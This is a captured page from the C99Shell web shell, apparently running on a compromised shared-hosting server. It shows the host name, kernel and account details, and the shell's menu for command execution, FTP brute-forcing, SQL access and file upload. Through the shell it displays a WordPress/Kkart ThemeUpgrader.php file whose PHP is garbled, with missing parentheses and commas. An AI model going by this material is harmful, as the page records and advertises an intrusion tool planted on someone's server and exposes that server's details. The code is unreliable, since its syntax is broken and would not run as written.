!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/packages/kkart-admin/src/Overrides/   drwxr-xr-x
Free 293.2 GB of 429.69 GB (68.24%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ThemeUpgrader.php (2 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * Theme upgrader used in REST API response.
 */

namespace Automattic\Kkart\Admin\Overrides;

defined'ABSPATH' ) || exit;

/**
 * Admin\Overrides\ThemeUpgrader Class.
 */
class ThemeUpgrader extends \Theme_Upgrader {
    
/**
     * Install a theme package.
     *
     * @param string $package The full local path or URI of the package.
     * @param array  $args {
     *     Optional. Other arguments for installing a theme package. Default empty array.
     *
     *     @type bool $clear_update_cache Whether to clear the updates cache if successful.
     *                                    Default true.
     * }
     *
     * @return bool|WP_Error True if the installation was successful, false or a WP_Error object otherwise.
     */
    
public function install$package$args = array() ) {
        
$defaults    = array(
            
'clear_update_cache' => true,
        );
        
$parsed_args wp_parse_args$args$defaults );

        
$this->init();
        
$this->install_strings();

        
add_filter'upgrader_source_selection', array( $this'check_package' ) );
        
add_filter'upgrader_post_install', array( $this'check_parent_theme_filter' ), 10);
        if ( 
$parsed_args['clear_update_cache'] ) {
            
// Clear cache so wp_update_themes() knows about the new theme.
            
add_action'upgrader_process_complete''wp_clean_themes_cache'9);
        }

        
$result $this->run(
            array(
                
'package'           => $package,
                
'destination'       => get_theme_root(),
                
'clear_destination' => false// Do not overwrite files.
                
'clear_working'     => true,
                
'hook_extra'        => array(
                    
'type'   => 'theme',
                    
'action' => 'install',
                ),
            )
        );

        
remove_action'upgrader_process_complete''wp_clean_themes_cache');
        
remove_filter'upgrader_source_selection', array( $this'check_package' ) );
        
remove_filter'upgrader_post_install', array( $this'check_parent_theme_filter' ) );

        if ( 
$result && ! is_wp_error$result ) ) {
            
// Refresh the Theme Update information.
            
wp_clean_themes_cache$parsed_args['clear_update_cache'] );
        }

        return 
$result;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.1029 ]--